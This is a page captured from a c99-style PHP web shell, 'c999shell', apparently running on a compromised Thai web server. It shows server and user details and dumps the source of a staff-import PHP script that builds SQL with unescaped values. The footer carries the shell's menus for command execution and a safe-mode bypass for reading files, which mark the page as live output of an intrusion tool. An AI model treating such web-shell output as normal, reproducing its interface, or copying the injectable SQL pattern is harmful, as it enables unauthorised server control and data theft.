Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/mistk/ums/ drwxr-xr-x |
Viewing file: importPerson.php (6.36 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <? include_once "pagebody.php"; pageHeader(); $pageTitle="นำเข้าข้อมูลบุคลากร"; ?> <table width=100% class="pageTitleBgColor" align="center"> <tr><td align=center><? echo $pageTitle; ?></td></tr> </table> <!--your code here--------------------------------------------------------------------------> <p align=center> <br> <table width=70% border=1 cellpadding=3 cellspacing=0 align=center> <tr bgcolor=#FFFFCC> <th>โปรดอ่าน</th> </tr> <tr> <td> <li>การนำเข้าข้อมูลบุคลากรนี้จะเป็นการนำข้อมูลบุคลากรที่จำเป็นในการเข้าสู่ระบบสารสนเทศจากระบบบุคลากร เข้าสู่ระบบ UMS และนำข้อมูลบุคลากรที่เกี่ยวข้องกับระบบทะเบียนเข้าสู่ระบบทะเบียน <li>ข้อมูลของบุคลากรที่จะต้องกำหนดให้กับบุคลากรทุกคนคือ <b>สายงาน</b> และ <b>งานที่ได้รับมอบหมาย</b> ซึ่งจะมีผลต่อการนำเข้าข้อมูลบุคลากรสู่ระบบทะเบียนและประมวลผล <li>ถ้าข้อมูลบุคลากรมีอยู่ในระบบ UMS และ จะไม่ถูกนำเข้าอีก <li>ถ้าต้องการจัดการข้อมูลผู้ใช้ หรือกำหนดสิทธิ์การใช้งาน ให้เลือกเมนู ข้อมูลผู้ใช้/ข้อมูลผู้ใช้งานระบบ-กำหนดสิทธิ์ </td> </tr> </table> <form name="form1" method=post> <table cellpadding=3 cellspacing=0 align=center> <tr align=center valign=top><td> <table boder align=center> <caption align="left"><b>ระบบบุคลากร</b></caption> <tr><td>Database Server</td><td><input type="text" name="dbHost" value="localhost"></td></tr> <tr><td> Database Name</td><td><input type="text" name="dbName" value=<?=$dbName?>></td></tr> <tr><td> User name</td><td><input type="text" name="dbUserName" value=<?=$dbUserName?>><br></td></tr> <tr><td> Password</td><td><input type="text" name="dbPassword" value=<?=$dbPassword?>><br></td></tr> </table> </td><td> <table boder align=center> <caption align="left"><b>ระบบบทะเบียนและประมวลผล</b></caption> <tr><td>Database Server</td><td><input type="text" name="dbHostReg" value="localhost"></td></tr> <tr><td> Database Name</td><td><input type="text" name="dbNameReg" value=<?=$dbNameReg?>></td></tr> <tr><td> User name</td><td><input type="text" name="dbUserNameReg" value=<?=$dbUserNameReg?>><br></td></tr> <tr><td> Password</td><td><input type="text" name="dbPasswordReg" value=<?=$dbPasswordReg?>><br></td></tr> <tr><td colspan="2" align=center><br><input type="hidden"name="method" value="import"></td></tr> </table> </td></tr> <tr><td colspan=2 align=center><input type="submit" value="นำเข้าข้อมูลบุคลากร"></td></tr> </table> </form> </p> <? if ($method=="import"){ include_once("clsUser.php"); include_once("clsUmUser.php"); include_once("clsPersonT.php"); include_once("clsOfficer.php"); $oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']); $oCp = new clsConnection($dbHost, $dbName, $dbUserName, $dbPassword); $oCr = new clsConnection($dbHostReg, $dbNameReg, $dbUserNameReg, $dbPasswordReg); //$oUs = new clsUser(); $oUm = new umuser($oC); $oPs = new PersonT($oCp); $oOf = new Officer($oCr); echo "<table width=100% border><tr valign=top><td>"; $oPs->RSperson(); $oC->BeginTrans(); echo "นำเข้าข้อมูลจากระบบบุคลากร -> UMS"; echo "<table align=center cellpadding=2 width=100%>\n"; echo "<tr bgcolor=#CCCCCC><th>#</th><th>บุคลากร</th><th>ดำเนินการ</th></tr>\n"; $i=1; while ($oPs->GetRecord()){ //อ่านทุกคนจาก บุคลากร $s = "<tr><td align=center>$i</td><td>$oPs->personCode $oPs->personName</td><td>"; $i++; $oUm->SearchByPsCodeWg($oPs->personId, 4); if (!$oUm->GetRecord()){ //ถ้าไม่มีใน um $oU->addNewUser($oPs->personId, $oPs->personName, 4, -1, $oPs->personCode, $oPs->personCode); $s.= "<font color=#339900>เพิ่มใหม่</font> "; }else{ //มีใน um if ($oPs->fStatus==1){ //สถานะ อยู่ $sql = "update umuser set UsActive=1 where UsPsCode='$oPs->personId'"; $oC->Execute($sql); $s.= "<font color=#0000FF>ปรับปรุงสถานะเป็น active</font>"; }else{ //สถานะ ไม่อยู่ ออก กะเสียน $sql = "update umuser set UsActive=0 where UsPsCode='$oPs->personId'"; $oC->Execute($sql); $s.= "<font color=#666666>ปรับปรุงสถานะเป็น No active</font>"; } } $s.= "</tr>\n"; echo $s; } //while echo "</table>\n"; echo "<hr><p align=center>ปรับปรุงข้อมูลบุคลากร<br />เข้าสู่ระบบ UMS เรียบร้อย</p><hr>"; $oC->CommitTrans(); echo "</td><td>"; //update to regist เฉพาะเจ้าหน้าที่ที่ได้สิทธิ์ในระบบทะเบียน $oCr->BeginTrans(); echo "นำเข้าข้อมูลจากระบบ UMS -> ระบบทะเบียน"; echo "<table align=center cellpadding=2 width=100%>\n"; echo "<tr bgcolor=#CCCCCC><th>#</th><th>บุคลากร</th></tr>\n"; $i=1; $s=""; $oUm->RSUserBySt(7); //คนที่ถูกกำหนดให้มีสิทธิ์ในระบบทะเบียน เจ้าหน้าทีท่ อาจารย์ while($oUm->GetRecord()){ $oPs->SearchByKey($oUm->UsPsCode); //get personCode $oPs->GetRecord(); $oOf->SearchByOfficerCode($oPs->personCode); //หาตาม personCode if (!$oOf->GetRecord()){ //ยังไม่มีในระบบทะเบียน if ($oPs->assignId==0){ $s.= "<tr><td align=center>$i</td><td>ยังไม่ได้กำหนด <b>งานที่ได้รับมอบหมาย</b> ให้แก่ $oPs->personCode :: $oPs->fName $oPs->lName</td></tr>"; }else{ $oOf->AddNew(); $oOf->officerCode=$oPs->personCode; $oOf->officerPassword=$oUm->UsPassword; if ($oPs->assignId==1 or $oPs->assignId==3) { if ($oPs->majortypeId==1) //สายสอน เช็คจากบุคลากร Majortype.majortypeId $oOf->officerType="4"; //อาจารย์ else $oOf->officerType="5"; //เจ้าหน้าที่ } $oOf->prefixId=$oPs->prefixId; $oOf->officerName=$oPs->fName; $oOf->officerSurname=$oPs->lName; $oOf->officerNameEng="-"; $oOf->officerSurnameEng="-"; $oOf->officerEmail="-"; $oOf->officerStatus="1"; $oOf->remark="-"; $oOf->contactAddress="-"; $oOf->contactPhone="-"; $oOf->Save(); $s.= "<tr><td align=center>$i</td><td>Add $oOf->officerCode :: $oOf->officerName $oOf->officerSurname to Regist.</td></tr>"; } }else{ //มีในระบบทะเบียนแล้ว $s.= "<tr><td align=center>$i</td><td>$oOf->officerCode :: $oOf->officerName $oOf->officerSurname already exists.</td></tr>"; } $i++; } $s.="</table>\n"; echo $s; echo "<hr><p align=center>ปรับปรุงข้อมูลบุคลากร<br />เข้าสู่ระบบทะเบียนและประมวลผล เรียบร้อย</p><hr>"; $oCr->CommitTrans(); echo "</td></tr></table>"; } ?> <!---------------------------------------------------------------------> <? pageFooter(); ?> <!---------------------------------------------------------------------> <!--put javascript here--> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0152 ]-- |